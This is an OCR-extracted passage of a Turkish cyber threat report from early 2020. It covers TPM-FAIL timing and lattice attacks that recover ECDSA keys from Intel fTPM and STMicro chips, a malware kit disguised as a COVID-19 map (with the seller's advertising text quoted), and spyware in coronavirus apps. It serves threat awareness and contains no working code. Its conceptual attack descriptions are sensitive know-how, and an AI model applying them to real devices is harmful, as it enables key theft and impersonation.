4a 40 b di 5] eb 2
Hﬂf @f 02 G 4b 90 @7 Ga a5 5@ c8 d9 c3 I-.H 5F |
f la @e f9

-+ PEC5-1

2]

Sekil 52: iki farkll PGP sertifikasi. Alice.asc (sol), Bob.asc (sag).

18. TPM CiPLERINDEKiI GOMULU
KRIPTOGRAFIK ANAHTARLARIN ELDE
EDILMESI

Guvenilir platform moddilleri (Trusted Platform Module
— TPM) kriptografik islemlerin glivenle yapilmasi igin
tasarlanmisg 6zel ¢iplerdir. TPM’ler ayr bir ¢ip olarak
anakart Uzerinde bulunabilecegdi gibi Intel’in Haswell ve
sonrasi mimarideki islemcilerine entegre ettigi sekilde
yazilim tabanli olarak da kullanilabilmektedir. TPM’in
ana gorevi kriptografik islemlerin kriptografik anahtar
disarni ¢ikmadan guvenli bir bicimde yapilmasini sag-
lamaktir. Bitlocker benzeri dosya sifreleme sistemle-
rinden VPN uygulamalarina kadar bircok uygulama
kriptografik islemleri ve anahtar Uretimlerini TPM cip-
lerine yaptirmaktadir. TPM ciplerinin bir diger islevi de
SecureBoot/TrustedBoot adi verilen, bilgisayarin aciligl
sirasinda énemli verilerin butinligind kontrol ederek
henlz igletim sistemi ylklenmeden olasi rootkit ve za-
rarli yazihmlari tespit etmektir.

Sekil 53’te genel mimarisi gdsterilen TPM c¢ipler, yazi-
Iimlarin dogrudan erisemeyecegi givenli bir bélgede
kriptografik iglemleri yapabilmektedir. Ornegin kullanici
herhangi bir dosya igin buttnlik kontroll talep ettiginde
TPM gerekli kriptografik hesaplari yaparak sonucu kulla-
niclya teslim eder. TPM Uzerindeki ana anahtar (master
key) sayesinde, Uretilen her anahtar gtvenli bir sekilde
saklanabilir. Ana anahtar ise TPM gipinin Uretimi esna-
sinda ¢ipe yerlestirilir. Herhangi bir uygulama, islem veya
kullanicinin TPM Uzerindeki islemlere midahale edeme-
mesi ve ana anahtara erisememesi gerekir. TPM ciple-
rin blyUk bir cogunlugu kriptografik moddllerin dogru-
lugunun ve fiziksel glvenligin teyit edildigi FIPS 140-2
standardina uygun olarak Uretilmektedir. Ayrica bir¢cok
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TPM dreticisi ciplerini minimum EAL 4 seviyesinde serti-
fikalandirarak yan kanal analizleri dahil TPM giplere mu-
dahale ve anahtari ele gecirme saldirilarinin yapiimasini
onledigini belirtmektedir.

TPM cipler Gzerinde yapilan yeni bir arastirmanin sonug-
larinin EAL4+ sertifikasi almig ¢ipler icin bile tehdit olus-
turdugu bildirilmistir. Kriptografi Uzerine degerli galisma-
lari olan Worcester Polytechnic Institute’dan Profesér
Berk Sunar’in da iginde yer aldigi bir grup arastirmaci
EAL 4+ seviyesinde sertifikalandirlmig TPM c¢ipler tze-
rine bir dizi bulgu yayinlamistir®®. Bu arastirma Intel’in
firmware tabanl cipi ve STMicroelectronics firmasinin
TPM c¢ipinin bir dizi zafiyet barindirdigini géstermistir. En
ciddi zafiyet bu cgipler Gzerinde eliptik egri tabanh sayisal
imza icin Uretilen kriptografik anahtarlarin ele gegirime-
sinin mimkun olmasidir.

Untrusted e
CPU RAM e
i;letim Sistemi I PCR " KRiPTO I
Uygulamalar RsU iSLEMCI

&
]

|U{;I.ICU BELLEK || KALICI BELLEK

Biitlinliik Kontrolii

i ______

Sekil 53: TPM Mimarisi.

Saldirilar yan kanal analiziyle yapiimaktadir. Buradaki
temel zafiyetin ana hatlariyla TPM cipinin kriptografik
bir islemi ka¢ dénglde tamamladiginin &lgiimesiy-
le kullanilan kriptografik parametreler hakkinda bilgi
elde edinilebilmesi oldugu soéylenebilir. Bu zamanin
Olculmesi sirasinda birtakim zorluklar yasanabilmek-
tedir. Ornegin Linux cihazlarda CPU ile TPM gipi TIS
araylizi (TPM Interface Specification) lGzerinden ha-
berlesirler. isletim sisteminin TPM cipine génderdigi
kriptografik islemin tamamlanip tamamlanmadig! bil-
gisi, 20ms ile baslayip artan araliklarla kontrol edilir.
Dolayisiyla kriptografik islemin baslangi¢c zamani tam
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i
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Sekil 54: Intel fTPM Uizerinde ECDSA algoritmasi CPU déngusi
sonuglari.
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Tehdit Modeli TPM imzalama Algoritmasi Gerekli imza Sayisi Siire
Lokal Sistem ST TPM ECDSA 39,980 80 dakika
Lokal Sistem fTPM ECDSA 1,248 4 dakika
Lokal Sistem fTPM ECSchnorr 1,040 3 dakika
Lokal Kullanici fTPM ECDSA 15,042 18 dakika
Uzak Kullanici fTPM ECDSA 44,032 5 saat

Tablo 10: Zafiyetli TPM Cipleri.

olarak isaretlenebilse bile bitis zamani kesin olarak be-
lirlenemez. Arastirmacilar bu sorunun Ustesinden gel-
mek icin kendi sirtculerini yazip bahsettigimiz TIS ara
ylziine dogrudan miidahaleyle élcimlerdeki glraltiyu
minimuma indirebilmistir.

Sekil 53'te eliptik egri tabanl sayisal imzanin Intel Core i7-
7700 islemci ve firmware tabanl TPM (lzerinde kag CPU
déngusinde bittigi gérilmektedir. Bu islem sirasinda ras-
gele Uretilen tek kullanimlik nonce degeri ile skalar carpim
yapllir. Yukaridaki grafikten nonce degerinde en anlamli 4
bit sifira esit degilken ortalama 4.82 x 10A8 CPU déngu-
stinde islemin tamamlandigi gérilmektedir. Ancak nonce
degerinin ilk 4 biti 0000 ise bu islem daha hizli tamamlanir
(ortalama 4.78 x 10/8). Tablodan gorildiugi lzere en an-
lamli 12 biti 0 oldugunda islem ortalama 14 milyon daha
az CPU donguslinde tamamlanmaktadir. Boylelikle sade-
ce islem zamanlarini izleyerek rasgele nonce degeri hak-
kinda bilgi sahibi olunabilir. Anahtarin ele geciriimesi ise
karmasik latis tabanl algoritmalara dayanir. Ortalamadan
hizli bir sekilde biten imza degerleri segilir, nonce uzunlu-
gunun kisa oldugu bilindiginden latis tabanli algoritmalar-
la ¢6zUlerek gizli anahtar elde edilebilir.

Arastirmacilarin bulgularina gére Intel fTPM, ST TPM ve
StrongSwan isimli VPN yaziliminin anahtarlari ele gegirile-
bilmistir. Bunlarin en hizlisi (Intel fTPM, eliptik egri imzala-
ma sistemi) Ui¢ dakikada calisirken en yavasi dogal olarak
ag Uzerinden yan kanal bilgisinin alinmaya c¢alisildigi ve
yaklasik bes saat siren StrongSwan uygulamasidir.

Bahsi gecen TPM cipleri milyonlarca dizistl, masaustu,
tablet bilgisayarda ve cesitli loT platformlarinda karsimiza
cikiyor. Anahtarlarin ele gecirilmesi elektronik imzalarin tak-
lit ve kimlik dogrulama adimlarinin bypass edilmesini mim-
kiin hale getirmektedir. Saldirnya hedef olabilecek TPM ¢ip-
lerinin milyonlarca cihazda bulunmasi olayin vahametini
artinrken, Ureticilerin hizli bir sekilde firmware gincelleme-
lerini yayinlamasinin dnemi daha da artmaktadir.

Bu kisimda raporun hazirik déneminde kesfedilen ve
gerek yerel gerekse kiresel gapta ses getirme potan-
siyeli oldugu degerlendirilen saldir, savunma veya ge-
lismeye odaklanan analiz sunulmaktadir. Bu dénem igin
belirlenen konu, tim didnyanin da glindemini olusturan
COVID-19 ve bununla ilgili siber gtivenlik olaylardir.

SIBER TEHDIT DURUM RAPORU

19. COVID-19 VE SIBER GUVENLIK

Koronaviriis (COVID-19) kaginilmaz bir sekilde tim diin-
yanin giindemine oturmus durumdadir. Cin’in Wuhan
kentinden cikan bu virlis birka¢ ay icinde pandemi se-
viyesine ylkselmis ve Ulkemizde de etkisini gdsterme-
ye baslamistir. Bu zor zamanlarda saldirn aktérleri de
cabalarini dayandirabilecekleri bir konu daha bulmus-
tur. Saldin aktérlerinin koronavirUs ile ilgili halkta olusan
duyarhhgr sémirmesiyle birlikte birgok saldin dizen-
lenmeye baslanmisti. USOM’un COVID-19 6zelinde
yayinladigi istihbarat raporuna gére, konu ile ilgili ol-
talama saldirilarina arttigi belirtilmistir. Oltalama igerigi
olarak da COVID-19 ile ilgili paylasimlar ve reklamlarla
bunu sagladiklari gérilmustir. Yine USOM tarafindan
yapilan arastirmalar neticesinde 42 adet zararli yazilim
tespit edilip incelenmisg, 569 adet ise zararl yazilma ait
Ozet bilgileri tespit edilmistir“?.Siber Flizyon Merkezi
catisi altindaki Siber istihbarat Merkezi’miz tarafindan
raporda sunulan loC’ler musterilerimize istihbarat ser-
visimiz Uzerinden sunulmaktadir.

VirGisiin yayiimi neticesinde ortaya cikan siber tehditler
su sekilde gruplanabilir:

Uzaktan ¢alisma: Sirketlerin birgogu sosyal mesafe
o6nlemini hayata gecirebilmek adina uzaktan calisma
uygulamasina gecti. Bu uygulamanin getirdigi en bu-
yuk guvenlik risklerinden birisi glvenli olmayan ci-
hazlarn sirket aglarina dahil olma ihtimalidir. Burada
“Shadow IT” olarak bilinen bir nevi paralel bilisim ka-
nallarinin kullaniimasiyla veri gizliligi ihlalleri de ortaya
¢ikabilir. Bu konu ile ilgili kapsamli bilgilendirme met-
nimize de web sayfamiz araciligi ile ulagabilirsiniz.

internet dolandiriciliklar: CNBC’nin haberine gore
son gunlerde oltalama saldirilarinda ytzde 40 oranin-
da bir artis gozlendigi belirtiimistir*!. Dinya Saghk
Orgiitinden (WHO) geliyor gibi gériinen oltalama sal-
dirllarinin da paralel seviyede artista oldugu gosteril-
mistir“?, Bunun yani sira sahte Urinler satarak kulla-
nicilarin dolandirilmasi da yine farkll bir dolandiricilik
olarak drneklendirilebilir. NYTimes’da yapilan bir ha-
bere gére Subat sonundan bu yana “corona” veya
“covid” kelimelerini iceren alan adlarinin hizla arttigini
ve su an igin 492 adet oldugu belirtiimistir. Bunlarin
tamaminin Shopify (online satis altyapisi saglayan bir
platform) sitesi oldugunu da belirtmekte fayda var.
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Casusluk saldirilari: Bir firmanin yaptigi ¢calismaya
gbre yakin zamanda ylzde 600 oraninda saldiri gos-
tergelerinde artis gorilmus ve timinin COVID-19 ile
ilintili oldugu saptanmistir. Saldirganlarin maddi veya
politik bir kazan¢ saglamak icin hiz kesmeden calig-
maya devam ettigi yine haberde belirtilmigtiri*s,

Yapilan saldirilari érneklendirmek gerekirse eger sahte
koronaviris takip haritasindan baslanabilir.

19.1. Zararh Barindiran Koronaviriis Haritalari

John Hopkins Universitesi’nin sundugu interaktif panel-
den vaka ve 8lum sayilarini takip etmek mimkunddr.
Ancak bu panel Rus hackerlar tarafindan Java tabanli
malware yerlestirme kitinde kullanilarak satilmaya bas-
lanmistir. Kitin iki farkli sekilde satisa cikarldigi tespit
edilmistir. Kitin temel fiyatinin 200 dolar oldugu, fakat
kiti kullanmak i¢in Java kod imzalama sertifikasi gerek-
tiginden sertifikasi olmayanlarin “kit + sertifika” ikilisini
almasi gerektigi ve bu ikilinin de 700%’a satildigi tespit
edilmistir. Kitin satisini yapan saldir aktoériinin satistaki
tanitim metni su sekildedir:

Koronavirlis bulasmis alanlarinin ve diger verilerin
tamamen calisan cevrimici haritasini yikler. Harita
yeniden boyutlandirilabilir, etkilesimli ve Diinya
Saglik Orglitii ve diger kaynaklardan gercek zaman-
I verilere sahiptir. Kullanicilar, PreLoader’in aslinda
bir harita oldugunu disgiinecek, bdylece onu aca-
caklar ve arkadaslarina yayacaklar ve viral olacak!

Satis bélimiinde ayrica zararli yaziimin mail hizmeti ve-
ren birgok firmanin izin verecegi sekilde paketlenip mail
ile iletilebileceginin belirtildigi géralmustur. Saldin aktor-
lerinin bu 6zelligin calistigina dair kanitlan (PoC—-Proof of
Concept), hatta Gmail’de dahi ise yaradigini fakat bir uyari
verdigini bir video ile aktardiklan gérilmustir. Zararl uygu-
lamanin calismasi i¢in hedef sistemde Java’nin yukla ol-
masi gerektiginden bahseden ilan ayni zamanda tim Java
sUriimlerinin durumdan etkilendigini belirtmektedirt*4.

19.2. Koronaviriis ve Mobil Uygulamalar

Mobil platformlarda da canli koronavirlis haritalan adi
altinda kullanicilan gézetleyen uygulamalar tespit edil-
mistir. Bunlara bir érnek “corona live 1.1.” isminde bir
Android uygulamasidir. Yine Johns Hopkins’in resmi ve-
rileri kullanilarak olusturulan bu yazilimlarda arka planda
farkl amaglarin isletildigi gérilmusttr. Uygulamanin iste-
digi izinler sunlardir:

Fotograflara ve videolara erigim,
Konuma erigim,
Kameraya ve mikrofona erigim.
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Uygulama basta bu izinleri istemeyerek stiphe uyandir-
mamakta sonrasinda sirayla izinleri isteyerek kullaniciyi
takip etmektedir. Arastirmacilar bu zararlinin Libya va-
tandaglarini hedef aldigini belirtmistir. Uygulamanin Spy
MAX denilen MRAT (mobile remote access trojan) versi-
yonu oldugu degerlendirilmistir*?. Sekil 55’te bu gozet-
leme kampanyasinda tespit edilen uygulamalarin ikonla-
ri gérilmektedir.

HAREOOLR

Sekil 55: Zararl yaziim barindiran koronavirlis temali uygulama
ikonlarl,

Bu uygulamalarin yani sira Ulkelerin de benzer amagcla-
n olduguna dair haberler gikmaya baslamistir. Oncelikle
israil’in hastalarin konumlarini takip ederek yayilmayi
kontrol altina almak istedigi konusunda bir haber yayin-
lanmistir“él, Bu teknolojiyi normalde teror kargiti calisma-
lar icin kullanan israil yetkilileri, hastaligin seyriyle ilgili
daha fazla veri toplamak ve daha fazla hayat kurtarmak
icin boyle bir 6nlem aldiklarini séylemistir".

Benzer sekilde iran’da da AC19 adl ulusal koronavi-
rus tespit uygulamasi Google Play Store’da yer almistir.
iran Saglik Bakanhgi toplu SMS ile herkese uygulamays
yUklemesini ve uygulama tzerinden semptomlarin kont-
rol edilmesini istemistir. Amag kullanicilarin uygulamayi
kullanarak semptomlarini kontrol etmesini ve hastaneleri
bos yere mesgul etmemesini saglamak olarak belirtil-
se de, uygulama canli olarak kullanicilarin konumlarini
istemekte ve bu bilgiyi uzak bir makineye ylUklemek-
tedir. Uygulama izni yasal olarak alsa da arka planda
iran rejimi icin uygulamalar gelistiren bir firma oldugu-
na dair iddialar ortaya cikmistir. Firmanin iran istihbarat
ajanslarina is yaptigi séylentilerinin ardindan uygulama
Google Play Store’dan kaldirimigtir. Uygulama herhangi
bir zararll yazihm barindirmamasina ragmen s6z konusu
firmanin daha onceki iglerinden 6tirl stphe olustugu
belirtilmistirel,

Amerika’da koronavirls ile miicadele kapsaminda tek-
noloji devleri Google, Facebook gibi firmalarla hiku-
met arasinda goérlismeler yapildigi basina yansimistir.
Amac bu kaynaklardan toplanan verinin anonim bir
sekilde haritalandirilarak enfeksiyonun yayilmasinin ta-
kip edilebilmesidir. Glvenli mesafe olan 1,80 metrenin
saglanip saglanmadiginin anlasiimasi ve gerektiginde
uyari verilmesi de bir diger amag olarak belirtilmistir.
So6z konusu firmalar anonim bir sekilde verilerin nasil
anlamli olarak paylasilabileceginin yollarini aradiklarini
belirtmislerdir. Burada da yine gizlilik kaygilarn 6n plana
clkmaktadiri4l,

SIBER TEHDIT DURUM RAPORU



OCAK-MART 2020

[11 G. Miller, <How the CIA used Crypto AG encryption devices to spy on coun-
tries for decades,» Washington Post, [Gevrimici]. Available: https://www.
washingtonpost.com/graphics/2020/world/national-security/cia-cryp-
to-encryption-machines-espionage/. [Erisildi: 17 02 2020].

[2] Microsoft, «CVE-2020-0796 | Windows SMBv3 Client/Server Remote Code
Execution Vulnerability,» Microsoft, 12 03 2020. [Cevrimigi]. Available:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-
2020-0796. [Erisildi: 22 03 2020].

[38] B.S.a.Y.S.B.Hadad, «Breaking the Discovery Protocols of the Enterprise
of Things,» ARMIS, 2019.

[4] Armis, «<CDPwn: 5 Zero-Days in Cisco Discovery Protocol | Armis,» Armis.
[Cevrimigi]. [Erisildi: 11 03 2020].

[5] A.R. Group, «SweynTooth - ASSET Research Group,» [Cevrimici]. Available:
https://asset-group.github.io/disclosures/sweyntooth/. [Erisildi: 02 03 2020].

[6] A. Labs, «BLEEDINGBIT Information from the Research Team - Armis
Labs,» [Cevrimici]. Available: https://www.armis.com/bleedingbit/. [Erisildi:
02 03 2020].

[7] S. Chen, «An Empirical Assessment of Security Risks of Global Android
Banking Apps,» arXiv:1805.05236v5, 2020.

[8] AndroBugs, «AndroBugs,» 2015. [Cevrimigi]. Available: https://github.com/
AndroBugs. [Erisildi: 20 1 2020].

[9] first.org, «The Common Vulnerability Scoring System,» 2018. [Cevrimigi].
Available: https://www.first.org/cvss/. [Erisildi: 15 1 2020].

[10] «Warning : Android App Fraud — Haken Clicker and Joker Premium Dial-
er,» SAMSUNG, 04 03 2020. [Cevrimigi]. Available: https://r1.community.
samsung.com/t5/Galaxy-S/Warning-Android-App-Fraud-Haken-Click-
er-and-Joker-Premium-Dialer/td-p/3952671. [Erisildi: 26 02 2020].

[11] L. Donnell, «<New ‘Haken’ Malware Found On Eight Apps In Google Play
Store,» Threatpost, 21 02 2020. [Gevrimici]. Available: https://threatpost.
com/haken-malware-family-infests-google-play-store/153091/. [Erisildi: 04
03 2020].

[12] I. W. B. M. Ohad Mana, «Android App Fraud — Haken Clicker and Joker
Premium Dialer,» Check Point, 21 02 2020. [Gevrimici]. Available: https://
research.checkpoint.com/2020/android-app-fraud-haken-clicker-and-jok-
er-premium-dialer. [Erisildi: 04 03 2020].

[13] «Haken Kaldirma Raporu,» EnigmaSoft.Ltd, 24 02 2020. [Cevrimigi]. Avail-
able: https://www.enigmasoftware.com/tr/haken-removal/. [Erisildi: 04 03
2020].

[14] «Researchers identified eight malicious apps in play store that effected by
‘Haken’ Malware!l,» 23 02 2020. [Gevrimici]. Available: https://c.mi.com/
forum.php?mod=viewthread&tid=2902420&aid=5589272&from=al-
bum&page=1". [Erisildi: 04 03 2020].

[15] «Checkpoint,» Check Point Software Technologies, 16 02 2020. [Cevrimigi].
Available: https://research.checkpoint.com/2020/hamas-android-malware-
on-idf-soldiers-this-is-how-it-happened/. [Erisildi: 04 03 2020].

[16] «VirusTotal.com,» VirusTotal, 01 03 2020. [Cevrimici]. Available: https://
www.virustotal.com/gui/file/d095f39823656a99b7bd7d9ad132d5aabb-
f59862a86253ce067329a491590d13/detection. [Erisildi: 04 03 2020].

[17] «2-spyware,» 13 01 2020. [Cevrimici]. Available: https://www.2-spyware.
com/remove-xhelper.html. [Erisildi: 10 03 2020].

[18] «hothardware,» 14 02 2020. [Cevrimigi]. Available: https://hothardware.
com/news/xhelper-malware-appears-to-be-triggered-by-google-play.
[Erigildi: 10 03 2020].

[19] 14 02 2020. [Cevrimici]. Available: https://howtoremove.guide/xhelper-vi-
rus-android/. [Erisildi: 10 03 2020].

[20] «blog.malwarebytes.com,» Malwarebytes, 12 02 2020. [Cevrimici]. Available:
https://blog.malwarebytes.com/android/2020/02/new-variant-of-android-
trojan-xhelper-reinfects-with-help-from-google-play/. [Erisildi: 10 03 2020].

[21] «digitaltrends,» 16 02 2020. [Cevrimigi]. Available: https://www.digitaltrends.
com/mobile/android-malware-keeps-returning-after-factory-reset/. [Erisildi:
10 03 2020].

[22] «virustotal.com,» VirusTotal, 03 03 2020. [Cevrimigi]. Available: https://www.

virustotal.com/gui/file/14be5d5a6fa9a97a99915b61a1227f38da8fefdb-
1641fa7343e5a449fd9f8c18/detection. [Erisildi: 11 03 2020].

[23] D. B. a. Y. E. M. Guri, «<BRIGHTNESS: Leaking Sensitive Data from Air-
Gapped Workstations via Screen Brightness,» arXiv, 2020.
[24] «Advanced driver-assistance systems - Wikipedia,» [Cevrimigi]. Available:

https://en.wikipedia.org/wiki/Advanced_driver-assistance_systems. [Erisil-
di: 11 03 2020].

[25] «Waymo tells riders to get ready for fully driverless rides | Ars Techni-
ca,» [Cevrimigi]. Available: https://arstechnica.com/cars/2019/10/way-
mo-starts-offering-driverless-rides-to-ordinary-riders-in-phoenix/. [Erisildi:
11 03 2020].

[26] D. N.R.B.-N. Y. M. O. D. a. Y. E. B. Nassi, «Phantom of the ADAS: Phantom
Attacks on Driver-Assistance Systems,» 2020.

SIBER TEHDIT DURUM RAPORU

thimkktech

STM Teknolojik Diisiince Merkezi

[27] «Researchers trick Tesla Autopilot into steering into oncoming traffic,»
[Cevrimigi].  Available:  https://arstechnica.com/information-technolo-
gy/2019/04/researchers-trick-tesla-autopilot-into-steering-into-oncom-
ing-traffic/. [Erisildi: 11 03 2020].

[28] T. K. S. Lab, «Experimental Security Research of Tesla Autopilot,» [Gevrim-
ici]. Available: https://keenlab.tencent.com/en/whitepapers/Experimental_
Security_Research_of_Tesla_Autopilot.pdf. [Erisildi: 11 03 2020].

[29] «Tesla, Inc. - Wikipedia,» [Cevrimici]. Available: https://en.wikipedia.org/
wiki/Tesla,_Inc. [Erisildi: 11 03 2020].

[30] Tesla, «Tesla Vehicle Safety Report,» [Gevrimigci]. Available: https://www.tes-
la.com/en_EU/VehicleSafetyReport. [Erisildi: 11 03 2020].

[31] Tesla, «Tesla Autopilot - Future of driving,» [Gevrimici]. Available: https://
www.tesla.com/en_EU/autopilot. [Erisildi: 11 03 2020].

[32] C. Point, «The Dark Side of Smart Lighting: Check Point Research Shows
How Business and Home Networks Can Be Hacked from a Lightbulb,» Check
Point, [Cevrimici]. Available: https://blog.checkpoint.com/2020/02/05/
the-dark-side-of-smart-lighting-check-point-research-shows-how-busi-
ness-and-home-networks-can-be-hacked-from-a-lightbulb/. [Erisildi: 02 03
2020].

[33] E. Luz, «CyberMDX Research Team Discovers Vulnerability in GE CARES-
CAPE, ApexPro, and Clinical Information Center (CIC) Systems,» Cyber-
MDX, [Cevrimici]. Available: https://www.cybermdx.com/vulnerability-re-
search-disclosures/cic-pro-and-other-ge-devices. [Erisildi: 17 02 2020].

[34] W. Xiaoyun, Y. L. Yin ve H. Yu, «Finding Collisions in the Full SHA-1,» %1
icinde Advances in Cryptology — CRYPTO 2005, Berlin, 2005.

[35] «The first collision for full SHA-1 - SHAttered.io,» [Cevrimigi]. Available:
https://shattered.io/static/shattered.pdf. [Erisildi: 15 03 2020].

[36] «Time’s up for SHA-1 hash algo, but one in five websites still use it,»
[Cevrimigi]. Available: https://www.theregister.co.uk/2017/03/08/shal_cer-
tificate_survey/. [Erisildi: 15 03 2020].

[37] «SHA-1 is a Shambles - Cryptology ePrint Archive - IACR,» [Cevrimici].
Available: https://eprint.iacr.org/2020/014.pdf. [Erisildi: 15 03 2020].

[38] «OpenSSH release (8.2),» [Cevrimigi]. Available: https://www.openssh.com/
txt/release-8.2.

[39] «TPM meets Timing and Lattice Attacks - TPM-FAIL,» [Gevrimici]. Available:
https://tpm.fail/tpmfail.pdf. [Erigildi: 16 03 2020].

[40] USOM, «TR-20-172 (Coronavirus Konulu Siber Tehditler),» USOM, 26 03
2020. [Gevrimici]. Available: https://usom.gov.tr/dosya/covid19.pdf. [Erisil-
di: 26 03 2020].

[41] E. Rosenbaum, «Phishing scams, spam spike as hackers use coronavirus to
prey on remote workers, stressed IT systems,» CNBC, 20 03 2020. [Cevrim-
ici]. Available: https://www.cnbc.com/2020/03/20/phishing-spam-spike-
as-hackers-use-coronavirus-to-hit-remote-work.html. [Erisildi: 25 03 2020].

[42] T. I. Team, «Cybercriminals impersonate World Health Organization to dis-
tribute fake coronavirus e-book,» Malwarebytes, 18 03 2020. [Gevrimici].
Available: https://blog.malwarebytes.com/social-engineering/2020/03/
cybercriminals-impersonate-world-health-organization-to-distrib-
ute-fake-coronavirus-e-book/. [Erisildi: 24 03 2020].

[43] CISOMAG, «How Coronavirus is Impacting Cyberspace,» CISOMAG,
18 03 2020. [Gevrimigi]. Available: https://www.cisomag.com/cyber-
threats-due-to-coronavirus/. [Erisildi: 23 03 2020].

[44] B. Krebs, «Live Coronavirus Map Used to Spread Malware,» [Gevrimici].
Available: https://krebsonsecurity.com/2020/03/live-coronavirus-map-
used-to-spread-malware/. [Erigildi: 18 03 2020].

[45] K. D. Rosso, «New Threat Discovery Shows Commercial Surveillanceware
Operators Latest to Exploit COVID-19,» Lookout, [Cevrimigi]. Available:
https://blog.lookout.com/commercial-surveillanceware-operators-lat-
est-to-take-advantage-of-covid-19. [Erisildi: 19 03 2020].

[46] A. Heller, «Spying on the virus: Israel secret service to track patients,» AP
News, 17 03 2020. [Gevrimici]. Available: https://apnews.com/2ff4b8718f-
c7df111406c8296b69c049. [Erisildi: 19 03 2020].

[47] R. E. Steve Hendrix, «Israel is using cellphone surveillance to warn citizens:
You may already be infected,» The Washington Post, 19 03 2020. [Cevrim-
ici]. Available: https://www.washingtonpost.com/world/middle_east/israel-
is-using-cellphone-surveillance-to-warn-citizens-you-may-already-be-in-
fected/2020/03/19/68267294-69e7-11ea-b199-3a9799c54512_story.html.
[Erigildi: 21 03 2020].

[48] C. Cimpanu, «Spying concerns raised over Iran’s official COVID-19 detec-
tion app,» ZDNet, 09 03 2020. [Gevrimici]. Available: https://www.zdnet.
com/article/spying-concerns-raised-over-irans-official-covid-19-detection-
app/. [Erisildi: 19 03 2020].

[49] T. Romm, E. Dwoskin ve C. Timberg, «U.S. government, tech industry dis-
cussing ways to use smartphone location data to combat coronavirus,» The
Washington Post, 18 03 2020. [Cevrimigi]. Available: https://www.washing-
tonpost.com/technology/2020/03/17/white-house-location-data-coronavi-
rus/. [Erisildi: 19 03 2020].

33



/A STM Teknolojik Diisiince Merkezi

www.stm.com.tr NS S thinktech.stm.com.tr

000

©©/STMDefence - ©© /STMThinkTech



	_Ref35783888
	_Ref35783939
	_Ref35783996
	_Ref35784064
	_wb18jje8p4r4
	_Ref35784097
	_Ref35784131
	_Ref35784172
	_Reference:
	_bfoh79vjixdl
	_6ctpmfoioagj
	_dcrn1wcyqrxt
	_7rhxjthzpqr0
	_e717mxkynl3w
	_Ref35954620
	_9bsuk4q6s6qo
	_GoBack
	_i5ev91qzh8my
	_vo0vn6ox1u8j
	_iz6jxq37vbwj

